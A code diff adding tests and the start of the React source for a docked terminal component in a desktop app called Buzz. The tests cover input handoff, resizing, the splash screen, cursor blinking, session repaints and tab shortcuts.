+const paintLog = [];
+
+function paintRecorder(canvas) {
+  return {
+    clearRect() {},
+    fillRect(x, y, width, height) {
+      paintLog.push({
+        canvas,
+        height,
+        kind: "fill",
+        style: this.fillStyle,
+        width,
+        x,
+        y,
+      });
+    },
+    fillStyle: "",
+    fillText(text, x, y) {
+      paintLog.push({ canvas, kind: "text", text, x, y });
+    },
+    font: "",
+    restore() {},
+    save() {},
+    setTransform() {},
+    textBaseline: "",
+  };
+}
+
+/** Draws issued to the grid canvas only, newest paint pass included. */
+function gridDraws(view) {
+  const grid = view.container.querySelector(
+    ".buzz-terminal-viewport > canvas:not(.buzz-terminal-welcome)",
+  );
+  return paintLog.filter((entry) => entry.canvas === grid);
+}
+
+function fixture(overrides = {}) {
+  const calls = { input: [], scroll: [] };
+  const props = {
+    bracketedPaste: false,
+    channelName: "terminal-test",
+    focusReportingEnabled: false,
+    onCloseSession() {},
+    onInput(value) {
+      calls.input.push(value);
+    },
+    onNewSession() {},
+    onScroll(lines) {
+      calls.scroll.push(lines);
+    },
+    onSelectSession() {},
+    onTerminalFocusChange() {},
+    sessions: [{ active: true, closing: false, id: "one", title: "SHELL" }],
+    ...overrides,
+  };
+  const renderTree = (nextProps) =>
+    createElement(
+      ThemeProvider,
+      null,
+      createElement("div", {
+        className: "buzz-huddle-app-surface",
+        tabIndex: -1,
+      }),
+      createElement(TerminalSubstrate, nextProps),
+    );
+  const view = render(renderTree(props));
+  return {
+    calls,
+    props,
+    view,
+    rerender(nextOverrides) {
+      view.rerender(renderTree({ ...props, ...nextOverrides }));
+    },
+  };
+}
+
+async function ready(view) {
+  await waitFor(() =>
+    assert.ok(view.container.querySelector(".buzz-terminal-substrate")),
+  );
+}
+
+function toggleChord(composing = false) {
+  const init = {
+    bubbles: true,
+    code: "KeyJ",
+    isComposing: composing,
+    metaKey: true,
+  };
+  act(() => {
+    window.dispatchEvent(new KeyboardEvent("keydown", init));
+    window.dispatchEvent(new KeyboardEvent("keyup", init));
+  });
+}
+
+test("mounted IME paths neither toggle nor emit preedit text", async () => {
+  const { calls, view } = fixture();
+  await ready(view);
+  const substrate = view.container.querySelector(".buzz-terminal-substrate");
+  toggleChord(true);
+  assert.equal(substrate.dataset.terminalOwner, "buzz");
+
+  toggleChord();
+  await waitFor(() =>
+    assert.equal(substrate.dataset.terminalOwner, "terminal"),
+  );
+  const input = view.getByLabelText("Terminal input");
+  fireEvent.compositionStart(input);
+  fireEvent.input(input, { target: { value: "k" } });
+  fireEvent.input(input, { target: { value: "か" } });
+  assert.deepEqual(calls.input, []);
+  fireEvent.compositionEnd(input, { data: "か" });
+  assert.deepEqual(calls.input, []);
+  fireEvent.input(input, { target: { value: "か" } });
+  assert.deepEqual(calls.input, ["か"]);
+});
+
+test("tab actions restore terminal input focus", async () => {
+  const { view } = fixture();
+  await ready(view);
+  toggleChord();
+  const input = view.getByLabelText("Terminal input");
+  await waitFor(() => assert.equal(document.activeElement, input));
+
+  const actions = [
+    ["select", view.getByRole("tab")],
+    ["close", view.getByLabelText("Close SHELL")],
+    ["new", view.getByLabelText("New Buzz Term tab")],
+  ];
+  for (const [label, target] of actions) {
+    target.focus();
+    assert.equal(document.activeElement, target, `${label} takes focus`);
+    fireEvent.click(target);
+    assert.equal(
+      document.activeElement,
+      input,
+      `${label} restores terminal focus`,
+    );
+  }
+});
+
+test("drag resize batches visual updates and commits state only on release", async () => {
+  const { view } = fixture({ mode: "docked" });
+  await ready(view);
+  const substrate = view.container.querySelector(".buzz-terminal-substrate");
+  const handle = view.getByLabelText("Resize Buzz Term");
+
+  fireEvent.pointerDown(handle, { clientY: 500, pointerId: 1 });
+  fireEvent.pointerMove(handle, { clientY: 400, pointerId: 2 });
+  fireEvent.pointerUp(handle, { clientY: 400, pointerId: 2 });
+  assert.equal(substrate.dataset.terminalResizing, "true");
+  fireEvent.pointerMove(handle, { clientY: 460, pointerId: 1 });
+  fireEvent.pointerMove(handle, { clientY: 440, pointerId: 1 });
+  assert.equal(substrate.dataset.terminalResizing, "true");
+  assert.equal(window.localStorage.getItem("buzz-terminal-dock-height"), null);
+
+  await waitFor(() => assert.equal(substrate.style.height, "380px"));
+  fireEvent.pointerUp(handle, { clientY: 440, pointerId: 1 });
+  assert.equal(substrate.dataset.terminalResizing, undefined);
+  assert.equal(window.localStorage.getItem("buzz-terminal-dock-height"), "380");
+});
+
+test("drag resize repaints the canvas without reporting PTY geometry until release", async () => {
+  let canvasHeight = 280;
+  const viewportSizes = [];
+  dom.window.HTMLCanvasElement.prototype.getBoundingClientRect = () => ({
+    bottom: canvasHeight,
+    height: canvasHeight,
+    left: 0,
+    right: 940.8,
+    top: 0,
+    width: 940.8,
+    x: 0,
+    y: 0,
+    toJSON() {},
+  });
+  const { view } = fixture({
+    mode: "docked",
+    onViewportSize(size) {
+      viewportSizes.push(size);
+    },
+  });
+  await ready(view);
+  const canvas = view.container.querySelector(
+    ".buzz-terminal-viewport > canvas:not(.buzz-terminal-welcome)",
+  );
+  const handle = view.getByLabelText("Resize Buzz Term");
+  await waitFor(() => assert.equal(canvas.height, 280));
+  const reportsBeforeDrag = viewportSizes.length;
+
+  fireEvent.pointerDown(handle, { clientY: 500, pointerId: 1 });
+  canvasHeight = 340;
+  fireEvent.pointerMove(handle, { clientY: 440, pointerId: 1 });
+
+  await waitFor(() => assert.equal(canvas.height, 340));
+  assert.equal(
+    viewportSizes.length,
+    reportsBeforeDrag,
+    "visual repaint must not resize the PTY during drag",
+  );
+
+  fireEvent.pointerUp(handle, { clientY: 440, pointerId: 1 });
+  await waitFor(() => assert.equal(viewportSizes.at(-1).pixelHeight, 340));
+});
+
+test("unmount cancels a queued drag update", async () => {
+  const { view } = fixture({ mode: "docked" });
+  await ready(view);
+  const handle = view.getByLabelText("Resize Buzz Term");
+  const previousHeight = handle.closest(".buzz-terminal-substrate").style
+    .height;
+
+  fireEvent.pointerDown(handle, { clientY: 500, pointerId: 1 });
+  fireEvent.pointerMove(handle, { clientY: 440, pointerId: 1 });
+  view.unmount();
+  await new Promise((resolve) => window.requestAnimationFrame(resolve));
+
+  assert.equal(window.localStorage.getItem("buzz-terminal-dock-height"), null);
+  assert.equal(
+    handle.closest(".buzz-terminal-substrate").style.height,
+    previousHeight,
+  );
+});
+
+const EMPTY_FRAME = {
+  cursor: { column: 0, line: 0, visible: false },
+  full: false,
+  rows: [],
+  viewport: { columns: 112, generation: 1, screenLines: 46 },
+};
+
+const VISIBLE_FRAME = {
+  ...EMPTY_FRAME,
+  viewport: { ...EMPTY_FRAME.viewport, generation: 2 },
+  rows: [
+    {
+      line: 0,
+      spans: [
+        {
+          style: { fg: 0, bg: 0, flags: 0 },
+          clusters: [{ column: 0, text: "$", width: 1 }],
+        },
+      ],
+    },
+  ],
+};
+
+async function expectWelcome(view, present) {
+  // Compare a boolean, never the node: an AssertionError carrying a mounted
+  // element inspects it to build its message, and `__reactFiber$` makes that
+  // walk the whole fiber graph — a failure takes ~2min to report instead of ms.
+  await waitFor(() =>
+    assert.equal(
+      view.container.querySelector(".buzz-terminal-welcome") !== null,
+      present,
+    ),
+  );
+}
+
+async function reveal(view) {
+  const substrate = view.container.querySelector(".buzz-terminal-substrate");
+  toggleChord();
+  await waitFor(() =>
+    assert.equal(substrate.dataset.terminalOwner, "terminal"),
+  );
+}
+
+test("the first settled reveal runs one bounded splash", async () => {
+  let starts = 0;
+  const subject = fixture({
+    frame: EMPTY_FRAME,
+    onSplashStarted() {
+      starts += 1;
+    },
+    showSplash: true,
+    viewportReportingEnabled: false,
+    visible: true,
+  });
+  await ready(subject.view);
+  await expectWelcome(subject.view, false);
+
+  subject.rerender({
+    frame: EMPTY_FRAME,
+    onSplashStarted() {
+      starts += 1;
+    },
+    showSplash: true,
+    viewportReportingEnabled: true,
+    visible: true,
+  });
+  await expectWelcome(subject.view, true);
+  assert.equal(starts, 1);
+  await act(async () => new Promise((resolve) => setTimeout(resolve, 2_550)));
+  await expectWelcome(subject.view, false);
+});
+
+test("later reveals do not replay a consumed splash", async () => {
+  const subject = fixture({
+    frame: EMPTY_FRAME,
+    showSplash: true,
+    viewportReportingEnabled: true,
+    visible: true,
+  });
+  await ready(subject.view);
+  await expectWelcome(subject.view, true);
+
+  subject.rerender({ frame: EMPTY_FRAME, showSplash: false, visible: false });
+  await expectWelcome(subject.view, false);
+  subject.rerender({ frame: EMPTY_FRAME, showSplash: false, visible: true });
+  await expectWelcome(subject.view, false);
+});
+
+test("a consumed splash stays absent after substrate remount", async () => {
+  const first = fixture({
+    frame: EMPTY_FRAME,
+    showSplash: true,
+    visible: true,
+  });
+  await ready(first.view);
+  await expectWelcome(first.view, true);
+  first.view.unmount();
+
+  const second = fixture({
+    frame: EMPTY_FRAME,
+    showSplash: false,
+    visible: true,
+  });
+  await ready(second.view);
+  await expectWelcome(second.view, false);
+});
+
+test("the first keystroke dismisses the welcome overlay early", async () => {
+  const subject = fixture({
+    frame: EMPTY_FRAME,
+    showSplash: true,
+    visible: true,
+  });
+  await ready(subject.view);
+  await expectWelcome(subject.view, true);
+
+  fireEvent.input(subject.view.getByLabelText("Terminal input"), {
+    target: { value: "l" },
+  });
+  await expectWelcome(subject.view, false);
+});
+
+test("mounted wheel path accumulates fractional lines per active session", async () => {
+  const { calls, view } = fixture();
+  await ready(view);
+  const substrate = view.container.querySelector(".buzz-terminal-substrate");
+  fireEvent.wheel(substrate, { deltaMode: 0, deltaY: 8 });
+  assert.deepEqual(calls.scroll, []);
+  fireEvent.wheel(substrate, { deltaMode: 0, deltaY: 10 });
+  assert.deepEqual(calls.scroll, [1]);
+});
+
+test("canvas failure atomically restores Buzz ownership", async () => {
+  const { props, view } = fixture();
+  await ready(view);
+  const substrate = view.container.querySelector(".buzz-terminal-substrate");
+  toggleChord();
+  await waitFor(() =>
+    assert.equal(substrate.dataset.terminalOwner, "terminal"),
+  );
+  dom.window.HTMLCanvasElement.prototype.getContext = () => null;
+  view.rerender(
+    createElement(
+      ThemeProvider,
+      null,
+      createElement("div", {
+        className: "buzz-huddle-app-surface",
+        tabIndex: -1,
+      }),
+      createElement(TerminalSubstrate, {
+        ...props,
+        frame: {
+          cursor: { column: 0, line: 0, visible: false },
+          full: false,
+          rows: [],
+          viewport: { columns: 80, generation: 1, screenLines: 24 },
+        },
+      }),
+    ),
+  );
+  await waitFor(() => assert.equal(substrate.dataset.terminalOwner, "buzz"));
+  toggleChord();
+  await waitFor(() =>
+    assert.equal(substrate.dataset.terminalOwner, "terminal"),
+  );
+});
+
+test("cursor blink runs only while the terminal owns input and resets on input", async () => {
+  const originalSetInterval = window.setInterval;
+  const originalClearInterval = window.clearInterval;
+  const callbacks = new Map();
+  let nextTimer = 1;
+  window.setInterval = (callback) => {
+    const timer = nextTimer++;
+    callbacks.set(timer, callback);
+    return timer;
+  };
+  window.clearInterval = (timer) => callbacks.delete(timer);
+  try {
+    const subject = fixture({ frame: VISIBLE_FRAME });
+    await ready(subject.view);
+    assert.equal(callbacks.size, 0, "Buzz ownership must pause blinking");
+
+    toggleChord();
+    await waitFor(() => assert.equal(callbacks.size, 1));
+    const firstTimer = [...callbacks.keys()][0];
+    act(() => callbacks.get(firstTimer)());
+
+    fireEvent.input(subject.view.getByLabelText("Terminal input"), {
+      target: { value: "a" },
+    });
+    await waitFor(() => {
+      assert.deepEqual(subject.calls.input, ["a"]);
+      assert.equal(callbacks.size, 1);
+      assert.equal(callbacks.has(firstTimer), false);
+    });
+
+    toggleChord();
+    await waitFor(() => assert.equal(callbacks.size, 0));
+  } finally {
+    window.setInterval = originalSetInterval;
+    window.clearInterval = originalClearInterval;
+  }
+});
+
+test("reduced motion keeps the terminal cursor solid", async () => {
+  reducedMotion = true;
+  const originalSetInterval = window.setInterval;
+  let intervals = 0;
+  window.setInterval = () => {
+    intervals += 1;
+    return 1;
+  };
+  try {
+    const subject = fixture({ frame: VISIBLE_FRAME });
+    await ready(subject.view);
+    toggleChord();
+    await waitFor(() =>
+      assert.equal(
+        subject.view.container.querySelector(".buzz-terminal-substrate").dataset
+          .terminalOwner,
+        "terminal",
+      ),
+    );
+    assert.equal(intervals, 0);
+  } finally {
+    window.setInterval = originalSetInterval;
+  }
+});
+
+const TWO_SESSIONS = [
+  { active: true, closing: false, id: "one", title: "SHELL" },
+  { active: false, closing: false, id: "two", title: "LOG" },
+];
+
+function frameWith(text, generation = 1) {
+  return {
+    cursor: { column: 0, line: 0, visible: false },
+    full: false,
+    rows: [
+      {
+        line: 0,
+        spans: [
+          {
+            style: { fg: 0, bg: 0, flags: 0 },
+            clusters: [{ column: 0, text, width: text.length }],
+          },
+        ],
+      },
+    ],
+    viewport: { columns: 112, generation, screenLines: 46 },
+  };
+}
+
+const SWAPPED_SESSIONS = [
+  { active: false, closing: false, id: "one", title: "SHELL" },
+  { active: true, closing: false, id: "two", title: "LOG" },
+];
+
+test("switching back to an idle session repaints its retained rows", async () => {
+  const subject = fixture({
+    sessionFrames: [
+      { frame: frameWith("one"), sessionId: "one" },
+      { frame: frameWith("two"), sessionId: "two" },
+    ],
+    sessions: TWO_SESSIONS,
+  });
+  await ready(subject.view);
+  await waitFor(() =>
+    assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
+  );
+
+  // A round trip is required, not a single switch: `paint()` is what drains the
+  // dirty set, so a grid that has never been painted still holds every line and
+  // repaints on first switch by luck. Only a session that was painted and then
+  // deactivated has an empty dirty set while holding rows.
+  subject.rerender({ sessions: SWAPPED_SESSIONS });
+  await waitFor(() =>
+    assert.ok(gridDraws(subject.view).some((entry) => entry.text === "two")),
+  );
+
+  paintLog.length = 0;
+  subject.rerender({ sessions: TWO_SESSIONS });
+  await waitFor(() =>
+    assert.ok(
+      gridDraws(subject.view).some((entry) => entry.text === "one"),
+      "returning to an idle session must repaint its retained rows",
+    ),
+  );
+  assert.equal(
+    gridDraws(subject.view).some((entry) => entry.text === "two"),
+    false,
+    "the outgoing session's rows must not be repainted",
+  );
+});
+
+test("switching to a session with no frame yet clears the outgoing pixels", async () => {
+  const subject = fixture({
+    sessionFrames: [{ frame: frameWith("one"), sessionId: "one" }],
+    sessions: TWO_SESSIONS,
+  });
+  await ready(subject.view);
+  await waitFor(() =>
+    assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
+  );
+
+  // Session "two" has delivered no frame, so it has no grid: `markAllDirty()`
+  // and `paint()` are both no-ops and only a background fill can erase "one".
+  paintLog.length = 0;
+  subject.rerender({ sessions: SWAPPED_SESSIONS });
+  await waitFor(() =>
+    assert.ok(
+      gridDraws(subject.view).some(
+        (entry) =>
+          entry.kind === "fill" &&
+          entry.x === 0 &&
+          entry.y === 0 &&
+          entry.width === 940.8 &&
+          entry.height === 782,
+      ),
+      "a full-viewport background fill must erase the outgoing session",
+    ),
+  );
+  assert.equal(
+    gridDraws(subject.view).some((entry) => entry.text === "one"),
+    false,
+  );
+});
+
+test("a frame on an unchanged session does not force a full repaint", async () => {
+  const subject = fixture({
+    sessionFrames: [{ frame: frameWith("one"), sessionId: "one" }],
+    sessions: TWO_SESSIONS,
+  });
+  await ready(subject.view);
+  await waitFor(() =>
+    assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
+  );
+
+  // Guards the damage model, not the bug: dropping the `paintedSessionRef`
+  // write leaves `sessionChanged` permanently true, which repaints the whole
+  // viewport on every frame. That looks correct on screen and passes every
+  // assertion above, so only a negative test can see it.
+  paintLog.length = 0;
+  subject.rerender({
+    sessionFrames: [{ frame: frameWith("more", 1), sessionId: "one" }],
+  });
+  await waitFor(() =>
+    assert.ok(gridDraws(subject.view).some((entry) => entry.text === "more")),
+  );
+  assert.equal(
+    gridDraws(subject.view).some(
+      (entry) =>
+        entry.kind === "fill" && entry.width === 940.8 && entry.height === 782,
+    ),
+    false,
+    "an incremental frame must not fill the whole viewport",
+  );
+});
+
+test("a switch during a bailed paint pass is honoured once painting resumes", async () => {
+  const subject = fixture({
+    sessionFrames: [{ frame: frameWith("one"), sessionId: "one" }],
+    sessions: TWO_SESSIONS,
+  });
+  await ready(subject.view);
+  await waitFor(() =>
+    assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
+  );
+
+  // The paint effect returns early when there is no 2d context. Writing
+  // `paintedSessionRef` before those returns would mark this switch as already
+  // painted, and the fill that erases "one" would never run.
+  dom.window.HTMLCanvasElement.prototype.getContext = () => null;
+  subject.rerender({ sessions: SWAPPED_SESSIONS });
+  paintLog.length = 0;
+
+  // Restoring the context is not enough to re-run the effect: its deps are the
+  // session, cursor, frames and palette. A frame for the now-inactive session
+  // re-triggers it without giving "two" a grid and without touching the palette,
+  // either of which would force the fill for an unrelated reason.
+  dom.window.HTMLCanvasElement.prototype.getContext = function () {
+    return paintRecorder(this);
+  };
+  subject.rerender({
+    sessionFrames: [{ frame: frameWith("one", 1), sessionId: "one" }],
+    sessions: SWAPPED_SESSIONS,
+  });
+  await waitFor(() =>
+    assert.ok(
+      gridDraws(subject.view).some(
+        (entry) =>
+          entry.kind === "fill" &&
+          entry.width === 940.8 &&
+          entry.height === 782,
+      ),
+      "the pending switch must still repaint after the bail",
+    ),
+  );
+});
+
+function tabFixture(overrides = {}) {
+  const calls = { close: [], input: [], select: [], spawn: 0 };
+  const subject = fixture({
+    onCloseSession(id) {
+      calls.close.push(id);
+    },
+    onInput(value) {
+      calls.input.push(value);
+    },
+    onNewSession() {
+      calls.spawn += 1;
+    },
+    onSelectSession(id) {
+      calls.select.push(id);
+    },
+    sessions: [
+      { active: true, closing: false, id: "one", title: "SHELL" },
+      { active: false, closing: false, id: "two", title: "LOG" },
+    ],
+    ...overrides,
+  });
+  // Spread order matters: `fixture` returns its own `calls`, so ours goes last.
+  return { ...subject, calls };
+}
+
+function press(init) {
+  // Dispatched at the window, which is where the substrate's capture-phase
+  // listener lives -- firing at the textarea would test React's synthetic
+  // tree instead of the layer actually under test.
+  const event = new KeyboardEvent("keydown", {
+    bubbles: true,
+    cancelable: true,
+    ...init,
+  });
+  act(() => {
+    window.dispatchEvent(event);
+  });
+  return event;
+}
+
+async function revealed(overrides) {
+  const subject = tabFixture(overrides);
+  await ready(subject.view);
+  await reveal(subject.view);
+  return subject;
+}
+
+test("tab chords drive new, close, and select while the terminal owns input", async () => {
+  const subject = await revealed({
+    sessions: [
+      { active: false, closing: false, id: "one", title: "SHELL" },
+      { active: true, closing: false, id: "two", title: "LOG" },
+      { active: false, closing: false, id: "three", title: "TAIL" },
+    ],
+  });
+
+  const spawn = press({ code: "KeyT", metaKey: true });
+  assert.equal(subject.calls.spawn, 1);
+  assert.equal(spawn.defaultPrevented, true, "⌘T must not reach the page");
+
+  const close = press({ code: "KeyW", metaKey: true });
+  assert.deepEqual(subject.calls.close, ["two"]);
+  assert.equal(close.defaultPrevented, true, "⌘W must not reach the page");
+
+  press({ code: "ArrowRight", metaKey: true, shiftKey: true });
+  press({ code: "ArrowLeft", metaKey: true, shiftKey: true });
+  // Three sessions, active in the middle: with only two tabs, prev and next
+  // resolve to the same id and a direction swap would pass unnoticed.
+  assert.deepEqual(subject.calls.select, ["three", "one"]);
+
+  // Nothing was mistaken for terminal input along the way.
+  assert.deepEqual(subject.calls.input, []);
+});
+
+test("tab chords stay inert while Buzz owns input", async () => {
+  const subject = tabFixture();
+  await ready(subject.view);
+  // Deliberately not revealed: owner is "buzz".
+  const spawn = press({ code: "KeyT", metaKey: true });
+  press({ code: "KeyW", metaKey: true });
+  press({ code: "ArrowRight", metaKey: true, shiftKey: true });
+
+  assert.equal(subject.calls.spawn, 0);
+  assert.deepEqual(subject.calls.close, []);
+  assert.deepEqual(subject.calls.select, []);
+  assert.equal(
+    spawn.defaultPrevented,
+    false,
+    "Buzz-mode ⌘T belongs to the rest of the app",
+  );
+});
+
+test("control chords keep reaching the PTY instead of the tab layer", async () => {
+  const subject = await revealed();
+  const werase = press({ code: "KeyW", ctrlKey: true });
+
+  assert.deepEqual(subject.calls.close, [], "^W is werase, not close-tab");
+  assert.equal(subject.calls.spawn, 0);
+  assert.equal(
+    werase.defaultPrevented,
+    false,
+    "the chord layer must not consume ^W before the textarea encodes it",
+  );
+});
+
+test("⌘W on an already-closing tab does not re-fire close", async () => {
+  const subject = await revealed({
+    sessions: [
+      { active: true, closing: true, id: "one", title: "SHELL" },
+      { active: false, closing: false, id: "two", title: "LOG" },
+    ],
+  });
+  const close = press({ code: "KeyW", metaKey: true });
+
+  assert.deepEqual(subject.calls.close, []);
+  assert.equal(
+    close.defaultPrevented,
+    true,
+    "the chord is still ours -- swallowed, not forwarded",
+  );
+});
+
+test("the handoff chord still toggles with the tab layer installed", async () => {
+  const subject = tabFixture();
+  await ready(subject.view);
+  const substrate = subject.view.container.querySelector(
+    ".buzz-terminal-substrate",
+  );
+  toggleChord();
+  await waitFor(() =>
+    assert.equal(substrate.dataset.terminalOwner, "terminal"),
+  );
+  toggleChord();
+  await waitFor(() => assert.equal(substrate.dataset.terminalOwner, "buzz"));
+});
+
+// ---------------------------------------------------------------------------
+// Splash animation lifecycle.
+//
+// This substrate is mounted unconditionally on every route and merely
diff --git a/desktop/src/features/terminal/TerminalSubstrate.tsx b/desktop/src/features/terminal/TerminalSubstrate.tsx
new file mode 100644
index 0000000000..81ac91528a
--- /dev/null
+++ b/desktop/src/features/terminal/TerminalSubstrate.tsx
@@ -0,0 +1,741 @@
+import * as React from "react";
+import { ChevronRight, Maximize2, Minimize2, Plus, X } from "lucide-react";
+
+import { useTheme } from "@/shared/theme/ThemeProvider";
+import { cn } from "@/shared/lib/cn";
+import { isMacPlatform } from "@/shared/lib/platform";
+import {
+  INITIAL_HANDOFF_STATE,
+  accumulateScrollLines,
+  encodePaste,
+  encodeTerminalKey,
+  matchTabChord,
+  reduceHandoff,
+  stepSession,
+} from "./terminalState";
+import { buildTerminalBanner } from "./terminalBanner";
+import { paintTerminalBanner } from "./terminalBannerPainter";
+import { buildBannerColorTable, phaseAt } from "./terminalBannerWave";
+import {
+  TERMINAL_CELL_METRICS,
+  type TerminalFrame,
+  TerminalGrid,
+} from "./terminalRenderer";
+
+export type TerminalViewportSize = {
+  columns: number;
+  rows: number;
+  pixelWidth: number;
+  pixelHeight: number;
+};
+
+export type TerminalSessionTab = {
+  id: string;
+  title: string;
+  closing: boolean;
+  active: boolean;
+};
+
+type TerminalSubstrateProps = {
+  channelName: string | null;
+  frame?: TerminalFrame;
+  sessionFrames?: readonly { sessionId: string; frame: TerminalFrame }[];
+  sessions: readonly TerminalSessionTab[];
+  bracketedPaste: boolean;
+  focusReportingEnabled: boolean;
+  enabled?: boolean;
+  mode?: "docked" | "maximized";
+  visible?: boolean;
+  onHide?: () => void;
+  onModeChange?: (mode: "docked" | "maximized") => void;
+  onToggle?: () => void;
+  onFrameConsumed?: (frame: TerminalFrame) => void;
+  onViewportSize?: (size: TerminalViewportSize) => void;
+  viewportReportingEnabled?: boolean;
+  showSplash?: boolean;
+  onSplashStarted?: () => void;
+  onInput: (text: string) => void;
+  /** Whole cells scrolled, keeping the DOM's sign: negative goes back. */
+  onScroll: (lines: number) => void;
+  onTerminalFocusChange: (focused: boolean) => void;
+  onSelectSession: (id: string) => void;
+  onCloseSession: (id: string) => void;
+  onNewSession: () => void;
+};
+
+function isToggleChord(event: KeyboardEvent): boolean {
+  return (
+    event.code === "KeyJ" &&
+    (event.metaKey || event.ctrlKey) &&
+    !event.altKey &&
+    !event.shiftKey
+  );
+}
+
+const { width: CELL_WIDTH, height: CELL_HEIGHT } = TERMINAL_CELL_METRICS;
+const NOOP = () => {};
+const SPLASH_DURATION_MS = 2_500;
+
+export function TerminalSubstrate({
+  frame,
+  sessionFrames,
+  sessions,
+  bracketedPaste,
+  focusReportingEnabled,
+  enabled = true,
+  mode = "docked",
+  visible = true,
+  onHide = NOOP,
+  onModeChange = NOOP,
+  onToggle,
+  onFrameConsumed,
+  onViewportSize,
+  viewportReportingEnabled = true,
+  showSplash = true,
+  onSplashStarted,
+  onInput,
+  onScroll,
+  onTerminalFocusChange,
+  onSelectSession,
+  onCloseSession,
+  onNewSession,
+}: TerminalSubstrateProps) {
+  const { terminalPalette } = useTheme();
+  const canvasRef = React.useRef<HTMLCanvasElement>(null);
+  const bannerCanvasRef = React.useRef<HTMLCanvasElement>(null);
+  const textareaRef = React.useRef<HTMLTextAreaElement>(null);
+  const handoffRef = React.useRef(INITIAL_HANDOFF_STATE);
+  const gridsRef = React.useRef(new Map<string, TerminalGrid>());
+  const appliedFramesRef = React.useRef(new WeakSet<TerminalFrame>());
+  const gridRef = React.useRef<TerminalGrid | null>(null);
+  const paintedPaletteRef = React.useRef(terminalPalette);
+  const paintedSessionRef = React.useRef<string | null>(null);
+  const reportedFocusRef = React.useRef<boolean | null>(null);
+  const reportedViewportSizeRef = React.useRef<TerminalViewportSize | null>(
+    null,
+  );
+  const dragCleanupRef = React.useRef<(() => void) | null>(null);
+  const resizeReportFrameRef = React.useRef(0);
+  const resizingRef = React.useRef(false);
+  const scrollBySessionRef = React.useRef(new Map<string, number>());
+  const activeSession = sessions.find((session) => session.active);
+  const activeSessionId = activeSession?.id ?? null;
+  const frames = React.useMemo(
+    () =>
+      sessionFrames ??
+      (activeSessionId && frame ? [{ sessionId: activeSessionId, frame }] : []),
+    [activeSessionId, frame, sessionFrames],
+  );
+  const [owner, setOwner] = React.useState<"buzz" | "terminal">("buzz");
+  const [viewport, setViewport] = React.useState({ columns: 1, rows: 1 });
+  const [welcomeVisible, setWelcomeVisible] = React.useState(false);
+  const [cursorPainted, setCursorPainted] = React.useState(true);
+  const [cursorReset, setCursorReset] = React.useState(0);
+  const [reducedMotion, setReducedMotion] = React.useState(
+    () => window.matchMedia("(prefers-reduced-motion: reduce)").matches,
+  );
+  const [dockHeight, setDockHeight] = React.useState(() => {
+    const stored = Number.parseInt(
+      window.localStorage.getItem("buzz-terminal-dock-height") ?? "",
+      10,
+    );
+    return Number.isFinite(stored) ? stored : 320;
+  });
+  const banner = React.useMemo(
+    () =>
+      buildTerminalBanner(
+        viewport.columns,
+        viewport.rows,
+        CELL_HEIGHT / CELL_WIDTH,
+      ),
+    [viewport.columns, viewport.rows],
+  );
+  const terminalStyle = terminalPalette
+    ? ({
+        "--buzz-terminal-background": terminalPalette.background,
+        "--buzz-terminal-foreground": terminalPalette.foreground,
+      } as React.CSSProperties)
+    : undefined;
+
+  const forceBuzzFallback = React.useEffectEvent(() => {
+    handoffRef.current = { ...INITIAL_HANDOFF_STATE };
+    setOwner("buzz");
+  });
+
+  const sendInput = React.useEffectEvent((text: string) => {
+    if (!text) return;
+    setWelcomeVisible(false);
+    setCursorPainted(true);
+    setCursorReset((current) => current + 1);
+    onInput(text);
+  });
+  const consumeFrame = React.useEffectEvent((nextFrame: TerminalFrame) => {
+    onFrameConsumed?.(nextFrame);
+  });
+  const beginSplash = React.useEffectEvent(() => {
+    if (!showSplash) return false;
+    onSplashStarted?.();
+    setWelcomeVisible(true);
+    return true;
+  });
+  /**
+   * Tab chords are handled at the window in capture phase, like the ⌘J
+   * handoff, so they win over the focused textarea. Gated on terminal
+   * ownership: in Buzz mode these keys belong to the rest of the app.
+   */
+  const runTabChord = React.useEffectEvent((event: KeyboardEvent): boolean => {
+    if (owner !== "terminal" || event.isComposing) return false;
+    const chord = matchTabChord(event, isMacPlatform());
+    if (!chord) return false;
+    if (chord === "new") {
+      onNewSession();
+      return true;
+    }
+    if (chord === "close") {
+      // A tab already closing has a disabled × in the tab bar; re-firing close
+      // on it would send a second shutdown for a session on its way out.
+      if (!activeSession || activeSession.closing) return true;
+      onCloseSession(activeSession.id);
+      return true;
+    }
+    const next = stepSession(sessions, chord === "next" ? 1 : -1);
+    if (next) onSelectSession(next);
+    return true;
+  });
+  const reportViewportSize = React.useEffectEvent(() => {
+    if (!viewportReportingEnabled) return;
+    const canvas = canvasRef.current;
+    if (!canvas) return;
+    const bounds = canvas.getBoundingClientRect();
+    const dpr = window.devicePixelRatio || 1;
+    const pixelWidth = Math.max(1, Math.round(bounds.width * dpr));
+    const pixelHeight = Math.max(1, Math.round(bounds.height * dpr));
+    const columns = Math.max(1, Math.floor(bounds.width / CELL_WIDTH));
+    const rows = Math.max(1, Math.floor(bounds.height / CELL_HEIGHT));
+    const size = { columns, rows, pixelWidth, pixelHeight };
+    if (resizingRef.current) return;
+    setViewport((current) =>
+      current.columns === columns && current.rows === rows
+        ? current
+        : { columns, rows },
+    );
+    const reported = reportedViewportSizeRef.current;
+    if (
+      reported?.columns === columns &&
+      reported.rows === rows &&
+      reported.pixelWidth === pixelWidth &&
+      reported.pixelHeight === pixelHeight
+    )
+      return;
+    reportedViewportSizeRef.current = size;
+    onViewportSize?.(size);
+  });
+
+  React.useEffect(
+    () => () => {
+      dragCleanupRef.current?.();
+      window.cancelAnimationFrame(resizeReportFrameRef.current);
+    },
+    [],
+  );
+
+  React.useEffect(() => {
+    if (!enabled) forceBuzzFallback();
+  }, [enabled]);
+
+  React.useEffect(() => {
+    const preference = window.matchMedia("(prefers-reduced-motion: reduce)");
+    const update = () => setReducedMotion(preference.matches);
+    preference.addEventListener("change", update);
+    return () => preference.removeEventListener("change", update);
+  }, []);
+
+  // Input activity is intentionally an effect trigger: restarting this timer is
+  // what resets the blink phase even when the cursor is already painted.
+  // biome-ignore lint/correctness/useExhaustiveDependencies: cursorReset restarts the timer by design.
+  React.useEffect(() => {
+    setCursorPainted(true);
+    if (owner !== "terminal" || reducedMotion) return;
+    const timer = window.setInterval(
+      () => setCursorPainted((painted) => !painted),
+      500,
+    );
+    return () => window.clearInterval(timer);
+  }, [cursorReset, owner, reducedMotion]);
+
+  React.useEffect(() => {
+    const canvas = canvasRef.current;
+    if (!canvas) return;
+    reportViewportSize();
